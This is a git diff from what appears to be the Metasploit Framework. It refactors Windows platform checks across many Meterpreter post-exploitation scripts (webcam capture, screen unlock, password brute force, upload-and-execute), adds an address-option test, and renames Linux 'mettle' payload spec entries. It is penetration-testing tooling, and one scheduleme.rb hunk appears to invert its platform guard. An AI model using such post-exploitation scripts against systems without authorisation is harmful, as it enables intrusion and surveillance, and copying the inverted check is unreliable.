b/scripts/meterpreter/pml_driver_config.rb @@ -63,7 +63,7 @@ end if rhost.nil? or rport.nil? usage -if client.platform =~ /win32|win64/ +if client.platform == 'windows' client.sys.process.get_processes().each do |m| if ( m['name'] =~ /HPZipm12\.exe/ ) diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index 97e346b5ff..1e9361996e 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -147,7 +147,7 @@ check_update = false raise Rex::Script::Completed end } -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe") if !(::File.exist?(prefetch_local)) diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index 3d8c825364..a93560e38e 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -147,9 +147,9 @@ def get_mem_usage( pid ) # Note: As we get the raw structure back from railgun we need to account # for SIZE_T variables being 32bit on x86 and 64bit on x64 mem = nil - if( @client.platform =~ /win32/ ) + if( @client.arch == 'x86' ) mem = pmc[12..15].unpack('V').first - elsif( @client.platform =~ /win64/ ) + elsif( @client.arch == 'x64' ) mem = pmc[16..23].unpack('Q').first end return (mem/1024) @@ -165,7 +165,7 @@ def get_mem_usage( pid ) end # Main -if client.platform =~ /win32|win64/ +if client.platform == 'windows' if resource resource.each do |r| next if r.strip.length < 1 diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 1e5385f678..655ec06d3e 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -144,7 +144,7 @@ def helpmsg @@exec_opts.usage) end ################## MAIN ################## -if client.platform =~ /win32|win64/ +if client.platform == 'windows' localos = session.sys.config.sysinfo # Check that the command is not being ran on a Win2k host diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 4f3e9d72fe..a54ae6f857 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -241,7 +241,7 @@ password = nil end } -if client.platform =~ /win32|win64/ +if client.platform != 'windows' if helpcall == 1 usage() elsif cmd == nil && file == nil diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index ba8498a9a5..54e5a9edf7 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -153,7 +153,7 @@ end } -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' print_status("Meterpreter session running as #{session.sys.config.getuid}") if help == 0 && commands.length != 0 abuse(session,targets,commands,username,password,delay) diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index 0e18c77172..cb10fe38e0 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -77,7 +77,7 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + # Create the log directory ::FileUtils.mkdir_p(logs) -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' begin tmp = client.sys.config.getenv('TEMP') diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index 14dd1036e3..b8f7deb056 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -43,7 +43,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' os = client.sys.config.sysinfo['OS'] targets.each do |t| diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 77c1f86b84..9041a0c8b1 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -60,7 +60,7 @@ def wrong_meter_version(meter = meter_type) end # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' session = client diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 1c5148bfc4..bfdfe212ae 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -83,7 +83,7 @@ def unsupported end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' # Get arguments basedir = args[0] || "C:\\" filter = args[1] || "office" diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index 322136a22d..cd01b2e57c 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -70,7 +70,7 @@ end ################## Main ################## # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' @exec_opts.parse(args) { |opt, idx, val| case opt diff --git a/scripts/meterpreter/sound_recorder.rb b/scripts/meterpreter/sound_recorder.rb index a930ae628c..64a8c8921f 100644 --- a/scripts/meterpreter/sound_recorder.rb +++ b/scripts/meterpreter/sound_recorder.rb @@ -85,7 +85,7 @@ end } # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' # Create Folder for logs and get path for logs if not log_folder diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb index 8d1f683124..e638d669aa 100644 --- a/scripts/meterpreter/srt_webdrive_priv.rb +++ b/scripts/meterpreter/srt_webdrive_priv.rb @@ -51,7 +51,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' # # Option parsing # diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb index 4eefc6dd4b..525c6b15d1 100644 --- a/scripts/meterpreter/uploadexec.rb +++ b/scripts/meterpreter/uploadexec.rb @@ -93,7 +93,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' #parsing of Options file = "" cmdopt = nil @@ -132,7 +132,7 @@ print_status("Running Upload and Execute Meterpreter script....") exec = upload(session,file,path) if sleep_sec print_status("\tSleeping for #{sleep_sec}s...") - Rex.sleep(sleep_sec) + Rex.sleep(sleep_sec) end cmd_on_trgt_exec(session,exec,cmdopt,verbose) if remove == 1 diff --git a/scripts/meterpreter/virtualbox_sysenter_dos.rb b/scripts/meterpreter/virtualbox_sysenter_dos.rb index 47615b559b..9c78a06f5e 100644 --- a/scripts/meterpreter/virtualbox_sysenter_dos.rb +++ b/scripts/meterpreter/virtualbox_sysenter_dos.rb @@ -27,7 +27,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' # Spawn calculator pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 2ebfd24bae..df964f7fee 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -88,7 +88,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' # # Create the raw payload diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index e52da0a992..4e6bfd3b7f 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -60,7 +60,7 @@ opts.parse(args) { |opt, idx, val| end } -if !(client.platform =~ /win32|win64/) +if client.platform != 'windows' print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index 6b0c1a525f..e66d796c61 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -307,7 +307,7 @@ downloaded = nil } # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' if not rhost or not username diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 5b48e2fbcd..ba99c74782 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -179,7 +179,7 @@ type = "auto" } # Check for Version of Meterpreter -wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i +wrong_meter_version(meter_type) if meter_type != 'windows' # # Uninstall if selected diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index 3f58014368..832f3a5cb2 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -150,7 +150,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' ################## MAIN ################## diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 864aebd70a..c88d36a890 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -569,7 +569,7 @@ def unsupported print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' ################## MAIN ################## diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index a2ae3d1b9d..a9af509a89 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -127,7 +127,7 @@ end if args.length == 0 usage end -unsupported if client.platform !~ /win32|win64/i +unsupported if client.platform != 'windows' if outfile == nil print_status wmicexec(session,commands) diff --git a/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb b/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb index 4296c95404..0803f16694 100644 --- a/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb +++ b/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super( diff --git a/spec/lib/msf/core/opt_address_local_spec.rb b/spec/lib/msf/core/opt_address_local_spec.rb new file mode 100644 index 0000000000..617dfbf5df --- /dev/null +++ b/spec/lib/msf/core/opt_address_local_spec.rb @@ -0,0 +1,43 @@ +# -*- coding:binary -*- + +require 'spec_helper' +require 'msf/core/option_container' + +RSpec.describe Msf::OptAddressLocal do + iface = NetworkInterface.interfaces.collect do |iface| + ip_address = NetworkInterface.addresses(iface).values.flatten.collect{|x| x['addr']}.select do |addr| + begin + IPAddr.new(addr).ipv4? && !addr[/^127.*/] + rescue IPAddr::InvalidAddressError => e + false + end + end.first + {name: iface, addr: ip_address} + end.select {|ni| ni[:addr]}.first + + valid_values = [ + { :value => "192.0.2.0", :normalized => "192.0.2.0" }, + { :value => "127.0.0.1", :normalized => "127.0.0.1" }, + { :value => "2001:db8::", :normalized => "2001:db8::" }, + { :value => "::1", :normalized => "::1" }, + { :value => iface[:name], :normalized => iface[:addr]} + ] + + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + # Not enough + { :value => "192.0.2" }, + # Non-string values + { :value => true}, + { :value => 5 }, + { :value => []}, + { :value => [1,2]}, + { :value => {}}, + ] + + it_behaves_like "an option", valid_values, invalid_values, 'address' + + let(:required_opt) { Msf::OptAddressLocal.new('LHOST', [true, 'local address', '']) } + +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 660bb2d19f..82df67ca02 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1430,136 +1430,6 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'linux/x86/exec' end - context 'linux/x86/meterpreter/bind_ipv6_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/bind_ipv6_tcp', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp' - end - - context 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/bind_ipv6_tcp_uuid', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp_uuid' - end - - context 'linux/x86/meterpreter/bind_nonx_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/bind_nonx_tcp', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/bind_nonx_tcp' - end - - context 'linux/x86/meterpreter/bind_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/bind_tcp', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/bind_tcp' - end - - context 'linux/x86/meterpreter/bind_tcp_uuid' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/bind_tcp_uuid', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/bind_tcp_uuid' - end - - context 'linux/x86/meterpreter/find_tag' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/find_tag', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/find_tag' - end - - context 'linux/x86/meterpreter/reverse_ipv6_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/reverse_ipv6_tcp', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/reverse_ipv6_tcp' - end - - context 'linux/x86/meterpreter/reverse_nonx_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/reverse_nonx_tcp', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/reverse_nonx_tcp' - end - - context 'linux/x86/meterpreter/reverse_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/reverse_tcp', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/reverse_tcp' - end - - context 'linux/x86/meterpreter/reverse_tcp_uuid' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/linux/x86/reverse_tcp_uuid', - 'stages/linux/x86/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/meterpreter/reverse_tcp_uuid' - end - - context 'linux/x86/metsvc_bind_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/linux/x86/metsvc_bind_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/metsvc_bind_tcp' - end - - context 'linux/x86/metsvc_reverse_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/linux/x86/metsvc_reverse_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'linux/x86/metsvc_reverse_tcp' - end - context 'linux/x86/read_file' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -4290,290 +4160,530 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/reverse_winhttps' end - context 'linux/aarch64/mettle_reverse_tcp' do + context 'linux/aarch64/meterpreter_reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/aarch64/mettle_reverse_tcp' + 'singles/linux/aarch64/meterpreter_reverse_http' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/aarch64/mettle_reverse_tcp' + reference_name: 'linux/aarch64/meterpreter_reverse_http' end - context 'linux/armbe/mettle_reverse_tcp' do + context 'linux/aarch64/meterpreter_reverse_https' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/armbe/mettle_reverse_tcp' + 'singles/linux/aarch64/meterpreter_reverse_https' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/armbe/mettle_reverse_tcp' + reference_name: 'linux/aarch64/meterpreter_reverse_https' end - context 'linux/armle/mettle/bind_tcp' do + context 'linux/armbe/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armbe/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armbe/meterpreter_reverse_http' + end + + context 'linux/armbe/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armbe/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armbe/meterpreter_reverse_https' + end + + context 'linux/armle/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armle/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armle/meterpreter_reverse_http' + end + + context 'linux/armle/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armle/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armle/meterpreter_reverse_https' + end + + context 'linux/mips64/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/mips64/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mips64/meterpreter_reverse_http' + end + + context 'linux/mips64/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/mips64/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mips64/meterpreter_reverse_https' + end + + context 'linux/mipsbe/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/mipsbe/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/meterpreter_reverse_http' + end + + context 'linux/mipsbe/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/mipsbe/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mipsbe/meterpreter_reverse_https' + end + + context 'linux/mipsle/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/mipsle/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/meterpreter_reverse_http' + end + + context 'linux/mipsle/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/mipsle/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/mipsle/meterpreter_reverse_https' + end + + context 'linux/ppc/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/ppc/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/meterpreter_reverse_http' + end + + context 'linux/ppc/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/ppc/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/ppc/meterpreter_reverse_https' + end + + context 'linux/ppc64le/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/ppc64le/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64le/meterpreter_reverse_http' + end + + context 'linux/ppc64le/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/ppc64le/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/ppc64le/meterpreter_reverse_https' + end + + context 'linux/x64/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/x64/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x64/meterpreter_reverse_http' + end + + context 'linux/x64/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/x64/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x64/meterpreter_reverse_https' + end + + context 'linux/x86/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/x86/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter_reverse_http' + end + + context 'linux/x86/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/x86/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter_reverse_https' + end + + context 'linux/x86/metsvc_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/x86/metsvc_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/metsvc_bind_tcp' + end + + context 'linux/x86/metsvc_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/x86/metsvc_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/x86/metsvc_reverse_tcp' + end + + context 'linux/zarch/meterpreter_reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/zarch/meterpreter_reverse_http' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/zarch/meterpreter_reverse_http' + end + + context 'linux/zarch/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/zarch/meterpreter_reverse_https' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/zarch/meterpreter_reverse_https' + end + + context 'linux/aarch64/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/aarch64/meterpreter_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/aarch64/meterpreter_reverse_tcp' + end + + context 'linux/armbe/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/armbe/meterpreter_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/armbe/meterpreter_reverse_tcp' + end + + context 'linux/armle/meterpreter/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/armle/bind_tcp', - 'stages/linux/armle/mettle' + 'stages/linux/armle/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/armle/mettle/bind_tcp' + reference_name: 'linux/armle/meterpreter/bind_tcp' end - context 'linux/armle/mettle/reverse_tcp' do + context 'linux/armle/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/armle/reverse_tcp', - 'stages/linux/armle/mettle' + 'stages/linux/armle/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/armle/mettle/reverse_tcp' + reference_name: 'linux/armle/meterpreter/reverse_tcp' end - context 'linux/armle/mettle_reverse_tcp' do + context 'linux/armle/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/armle/mettle_reverse_tcp' + 'singles/linux/armle/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/armle/mettle_reverse_tcp' + reference_name: 'linux/armle/meterpreter_reverse_tcp' end - context 'linux/mips64/mettle_reverse_tcp' do + context 'linux/mips64/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/mips64/mettle_reverse_tcp' + 'singles/linux/mips64/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/mips64/mettle_reverse_tcp' + reference_name: 'linux/mips64/meterpreter_reverse_tcp' end - context 'linux/mipsbe/mettle/reverse_tcp' do + context 'linux/mipsbe/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/mipsbe/reverse_tcp', - 'stages/linux/mipsbe/mettle' + 'stages/linux/mipsbe/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/mipsbe/mettle/reverse_tcp' + reference_name: 'linux/mipsbe/meterpreter/reverse_tcp' end - context 'linux/mipsbe/mettle_reverse_tcp' do + context 'linux/mipsbe/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/mipsbe/mettle_reverse_tcp' + 'singles/linux/mipsbe/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/mipsbe/mettle_reverse_tcp' + reference_name: 'linux/mipsbe/meterpreter_reverse_tcp' end - context 'linux/mipsle/mettle/reverse_tcp' do + context 'linux/mipsle/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/mipsle/reverse_tcp', - 'stages/linux/mipsle/mettle' + 'stages/linux/mipsle/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/mipsle/mettle/reverse_tcp' + reference_name: 'linux/mipsle/meterpreter/reverse_tcp' end - context 'linux/mipsle/mettle_reverse_tcp' do + context 'linux/mipsle/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/mipsle/mettle_reverse_tcp' + 'singles/linux/mipsle/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/mipsle/mettle_reverse_tcp' + reference_name: 'linux/mipsle/meterpreter_reverse_tcp' end - context 'linux/ppc/mettle_reverse_tcp' do + context 'linux/ppc/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/ppc/mettle_reverse_tcp' + 'singles/linux/ppc/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/ppc/mettle_reverse_tcp' + reference_name: 'linux/ppc/meterpreter_reverse_tcp' end - context 'linux/ppc64le/mettle_reverse_tcp' do + context 'linux/ppc64le/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/ppc64le/mettle_reverse_tcp' + 'singles/linux/ppc64le/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/ppc64le/mettle_reverse_tcp' + reference_name: 'linux/ppc64le/meterpreter_reverse_tcp' end - context 'linux/x64/mettle/bind_tcp' do + context 'linux/x64/meterpreter/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x64/bind_tcp', - 'stages/linux/x64/mettle' + 'stages/linux/x64/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x64/mettle/bind_tcp' + reference_name: 'linux/x64/meterpreter/bind_tcp' end - context 'linux/x64/mettle/reverse_tcp' do + context 'linux/x64/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x64/reverse_tcp', - 'stages/linux/x64/mettle' + 'stages/linux/x64/meterpreter' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x64/mettle/reverse_tcp' + reference_name: 'linux/x64/meterpreter/reverse_tcp' end - context 'linux/x64/mettle_reverse_tcp' do + context 'linux/x64/meterpreter_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/linux/x64/mettle_reverse_tcp' + 'singles/linux/x64/meterpreter_reverse_tcp' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'linux/x64/mettle_reverse_tcp' + reference_name: 'linux/x64/meterpreter_reverse_tcp' end - context 'linux/x86/mettle/bind_ipv6_tcp' do + context 'linux/x86/meterpreter/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ 'stagers/linux/x86/bind_ipv6_tcp', - 'stages/linux/x86/mettle' + 